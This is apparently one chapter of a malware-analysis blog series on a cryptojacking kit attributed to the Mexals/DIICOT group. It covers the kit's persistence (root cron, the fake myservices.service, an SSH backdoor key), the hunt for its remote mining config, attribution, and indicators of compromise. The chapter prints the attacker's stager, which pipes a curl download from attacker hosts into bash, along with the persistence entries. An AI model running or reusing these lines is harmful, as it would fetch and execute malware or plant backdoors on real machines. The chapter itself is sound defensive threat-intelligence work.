ES EN
Index

DIICOT · Chapter 28

The wallet that never travels

Comes from chapter 27 · Only the leader talks

The two previous chapters left the kit taken apart piece by piece, and one question unanswered: who it pays. I went looking. And what I found was a design that prevents it — the mining config never travels inside the critter, it gets downloaded afterwards — and scaffolding somebody had already dismantled. This is the chase, what it does plant when you let it run, and how far what I can prove about who's behind it actually goes.

This thread starts where the bot chapter left off. I already know how it gets in, what it carries inside and how it takes orders. What's left is what matters about a cryptojacker: who it pays.

Spoiler, because I'd rather say it up front than have you read to the end for nothing: I didn't manage it. And the reason I didn't manage it is the best part of the chapter.

How to read thisThree levels, always kept apart: seen (I checked it myself), read (a third party says so) and inferred (my interpretation). They're needed here more than ever, because the last part is about attribution — and in attribution the difference between "it's written in the binary" and "the community says so" is the whole difference there is.

01What it plants when you let it run

On the decoy it never started. In the cage I did let it run, and as root, to see what really gets installed. It plants three things at once, and all three are for the same purpose: coming back. seen

the triple persistence
# 1 · root's cron — four entries, one of them every minute
@reboot   /var/tmp/<8 hex>/8b8989e8 & disown
* * * * * /var/tmp/<8 hex>/8b8989e8 & disown
@daily    …      @monthly …

# 2 · a systemd service with a system-sounding name
myservices.service → ExecStart=/bin/bash /usr/bin/ssshd
                     Restart=always · RestartSec=1800

# 3 · an SSH key in root's front door
/root/.ssh/authorized_keys ← ssh-rsa AAAAB3…nY3w== ElPatrono1337

Each one is worth looking at, because they're designed to fail separately.

The cron revives the loader every minute. And the directory it keeps it in has an eight-character random name that changes with every infection: looking for a specific path is no good, you have to look for the shape. seen

The systemd service is called myservices.service and launches something called /usr/bin/ssshd — with three esses. At a glance, in a listing, that passes for the SSH daemon. It isn't: it's the script that goes and fetches the second stage, and the service relaunches it every half hour, forever. seen

And the SSH key is the quietest and the worst. If you clean out the processes, the cron job and the service, and you don't look at that file, the attacker carries on walking in the front door without a password. It's signed with a name: ElPatrono1337. We'll come back to him.

And something that amused me and is worth thinking aboutIn chapter 26 I described how the attacker, the moment he got in, pasted a very long clean-up command. When I detonated the kit in the cage, that same command turned up, word for word, inside one of the modules. seen

So what I had read as "the intruder typing" wasn't anybody typing: it was the kit running its own routine. The difference matters — there wasn't a person at the keyboard deciding, there was a list. inferred

The final order of the chain comes out like this: the dropper releases the five modules, the scanner acts as conductor, moves the loader and the miner into their hiding places, plants the three persistences, and launches the loader and the bot. The two miners sit still, waiting. seen

And there's the explanation for a detail in the previous chapter that I let pass without comment: when I asked the bot for its status, its panel said Miners: 0. It wasn't that the cage was getting in its way. It's that the miners didn't yet know who to pay.

02Neither of the two miners knows who to pay

Here's the design finding, and it's the one that makes everything else interesting.

I swept the five modules looking for anything shaped like a Monero wallet. Nothing. Not in the clear, not encrypted, not in any of the five. The XMRig it carries is stock XMRig, unconfigured: the only server written into it is the XMRig project's own, which has nothing to do with the attacker. seen

So where does the config come from? Detonating the loader shows it: it doesn't start any miner. What it does is write a six-line script and run it.

the stager the loader writes
#!/bin/bash
if curl -s --connect-timeout 15 hxxp://195.24.237.240/.x/black3; then
    curl -s hxxp://195.24.237.240/.x/black3 | bash
else
    curl -s hxxp://digital.digitaldatainsights[.]org/.x/black3 | bash
fi

That's all of it. It pulls a file off one of the attacker's servers and hands it to the shell. The mining config —the server to connect to and the wallet to credit— lives out there, in that file, and only reaches the machine at the moment it's used. seen

Why this is cleverer than encrypting the walletIn the kits I've opened before, the wallet travelled inside the binary, covered up with some home-made encryption. That has a problem for the attacker: whoever captures a single sample has his wallet forever, and with it they can see how much he earns, tie campaigns to him and follow his trail.

Taking it out of the binary fixes that at a stroke. You can capture the whole critter, unpack it, deobfuscate it and read every line — and still not know who it pays. To find out you have to go and ask its server, which is exactly the move a defender can't always afford. inferred

On the way through, the loader drops a silly little file at /tmp/.fontconfig/.fc-cache with eight bytes in it. It does nothing: it's a marker, so the kit knows that machine is already its own. seen

03I went looking for it

The question was whether to go after that file. Downloading it means connecting to the attacker's server, and this project draws a line there: you observe, you don't touch.

The way out was to do it over Tor — a network that routes the connection through several intermediate computers, so that whoever receives the request can't see where it came from. It isn't a trick for hiding from anybody: it's so that, if the attacker's server was noting down who asks it for things, it wouldn't note down any address of mine. And with a safety rule in front: if Tor failed, the request wasn't made — never in the clear.

Terminal showing the hunt for the second stage over Tor: servers that don't answer and a domain that returns a parking page
After the second stage over Tor. We went for the mining config: dead servers and a parked domain. This build's campaign is already down.

The result, in two rounds:

The first, against the two addresses the script carries. The main one didn't answer — tried with three different circuits, in case it was bad luck with one exit node. The backup didn't even resolve. seen

The second was more interesting, because before giving up I searched the public archives that keep copies of scanned pages. It turned out that same file had once been served from more addresses than the script knows about. I tried them all, over Tor as well. One is dead. Another too. And the third answered — but what it gave back was a parking page: the sign a registrar puts up when a domain is suspended. seen

It isn't that the server is down for a while. It's that the domain isn't theirs any more.

A detail about how they protect themselvesThe public archives hold dozens of captures of that address. None of them is any use: what they saved is a Not found! or some arbitrary binary. The server only handed over the real script to whoever asked for it the way the critter asks — with the specific tool the stager uses. An automated scanner got fobbed off. seen

It's a cheap, effective filter: it keeps the payload out of the public repositories for the whole campaign. Which is why, when the infrastructure goes down, whatever it carried, nobody has. inferred

04And the phone doesn't answer either

That left the other half to check. In the previous chapter I described how the bot takes orders over a Telegram chat, and how its identifier is written inside the binary. I also said that identifier had been cancelled. Time to show how I know, because I didn't infer it.

Telegram has a query whose job is to ask the platform itself whether a bot exists. It doesn't read messages, doesn't write, doesn't touch the queue of pending orders and no notice reaches its owner. It is, literally, asking whether the number gives a dial tone.

the answer, twice and by different routes
{"ok":false,"error_code":401,"description":"Unauthorized"}

401. The identifier is no longer valid. I repeated it with a second exit node, in case the first was blocked: same answer. And it's a clean answer from Telegram, not a network error — if the route were cut, this message wouldn't arrive. seen

Where the line is, and why this stays on this side of itThe house rule is that the attacker's infrastructure doesn't get touched. And I did this anyway, so it needs explaining rather than glossing over.

The difference I judged sufficient: nothing here is asked of the attacker, it's asked of Telegram — a neutral third party — whether an account is still alive. His channel isn't read, he isn't written to, his message queue isn't consumed and he isn't notified. One single read-only query, over Tor and from a machine that isn't mine.

What remains off limits, and wasn't done: requesting the messages, sending an order, or touching the mesh. Publishing the identifier is one thing; using it is another.

And that 401 fits with the previous chapter like a piece of a puzzle. The identifier is in plain sight of anyone who opens the sample; Telegram cancels the ones that leak; and the operator had already planned for that — there's a reason the bot knows how to hand itself around the mesh. They took away his phone, and the botnet had a plan for that. inferred

05Who's behind it, and which part I can prove

This needs going slowly, because it's where a borrowed claim slips through most easily.

What comes out of the binary, and therefore what I can show: the bot introduces itself as DIICOT-BOTNET in its status panel; one of the modules and its paths are called diicot; and the SSH key it plants is signed ElPatrono1337. Three things, all three inside the sample. seen

What doesn't come out of the binary and I had to go and find elsewhere: that this name corresponds to a campaign known as color1337, and that the group is associated with the name Mexals, documented since 2023. That isn't in my sample: the community says so, and I'm simply repeating it with the source attached. read

The tie between the one and the other is solid, though, and it isn't only the name. What those 2023 reports describe matches piece for piece what I've just dug up: the myservices.service, the /usr/bin/ssshd relaunched every half hour, the target file, the key signed the same way. It's the same kit. read inferred

What has changed is what this chapter and the previous one have laid out:

the same family, three years on
                    documented (2023)            this sample (2026)
command             Discord webhooks             Telegram bot
topology            client → server              P2P mesh with leader election
binaries            unobfuscated                 obfuscated and packed
updating            —                            handed around the mesh itself

Same actor, same habits, same name on the key. Command layer rebuilt from scratch. That's what the case contributes — not discovering the actor, who has been published for years, but showing what he has turned into. inferred

And a label worth not believingThe engine of a very well-known analysis service classifies the dropper as a different family —a famous P2P botnet— and it does so, I suspect, only because it sees the peer-to-peer part. read

It doesn't fit anything else: that other family doesn't carry a password dictionary with Huawei@123 in it, nor the files this one leaves, nor a Telegram command channel. It's a reminder that automatic labels describe traits, not authors — and that one eye-catching trait drags the whole classification along with it. inferred

06What I can't prove

Five things, and the first is the one that gives the chapter its title.

The wallet. I don't have it, and I'm not going to have it with this sample. It isn't that I didn't know how to look: it isn't inside, by design, and the place it used to be no longer exists. If that file ever turns up in a public repository, this reopens. Until then it's a gap, and I'd rather write it down than fill it with a figure from somewhere else.

Whether the campaign is dead or just this build. What I can state is what I've touched: this identifier is cancelled and this second stage is dismantled. About the mesh I know nothing — it could be running right now on a newer version, and I'd have no passive way of finding out.

How many machines there are. The bot aims for two thousand connections, but that's an intention written in the code, not a census. Counting the mesh would mean speaking its protocol, which is authenticated — and that would be getting inside. It wasn't done.

What the scanner does when it hunts for victims. I know what it is and I know what dictionary it carries. I haven't let it scan, not for a second: that would be launching brute force at third-party machines from here, and there's no result that would justify it.

Exactly how the new binary gets handed around. I saw it chopped up and propagated, and I saw the nodes restart. The transfer protocol on the inside, I haven't taken apart.

07Indicators (IOCs)

The arrival is in chapter 26 and the command channel in 27. These are the ones for what it plants and what it goes to fetch.

TypeValue
Fake servicemyservices.service/bin/bash /usr/bin/ssshd · restart every 1,800 s
Disguised file/usr/bin/ssshd — with three esses; it's the stager, not the SSH daemon
Root cron@reboot · @daily · @monthly · * * * * */var/tmp/<8 hex>/8b8989e8 (the directory changes with every infection)
SSH backdoorkey in /root/.ssh/authorized_keys with the comment ElPatrono1337
On-disk markers/tmp/.fontconfig/.fc-cache · /var/tmp/.ladyg0g0/.pr1nc35 · /var/tmp/Documents/.diicot
Stager/tmp/.c — sha256 2bcc91fdedb8c583a9fe883be9ad453333a1bba0fdf655474982db3cbb8e7a74
Second stagehxxp://195.24.237.240/.x/black3 · backup hxxp://digital.digitaldatainsights[.]org/.x/black3 (both down as of 19 Sep 2026)
Historic distribution52.223.13.41 (parked today) · 80.76.51.5 (dead) · test.digitaldatainsights[.]org:7777 (dead)
Actor handlesElPatrono1337 · ladyg0g0 · .pr1nc35

If I had to keep three of them to watch over a fleet: a service called myservices, a file called ssshd with three esses and a cron entry that runs every minute. All three take a second to search for, and none of them has any business existing on a healthy machine.

To be continued — the family has been collecting since 2021 and it hasn't stopped: it moved command from Discord to Telegram, built itself a mesh that heals itself, and took the wallet out of the critter so that nobody can follow it. Every turn it takes is another door closing on whoever is investigating. Two pieces of the kit are still not fully opened —the one that hunts for victims and the mesh protocol— and the decoy is still lit. 🍯

Comments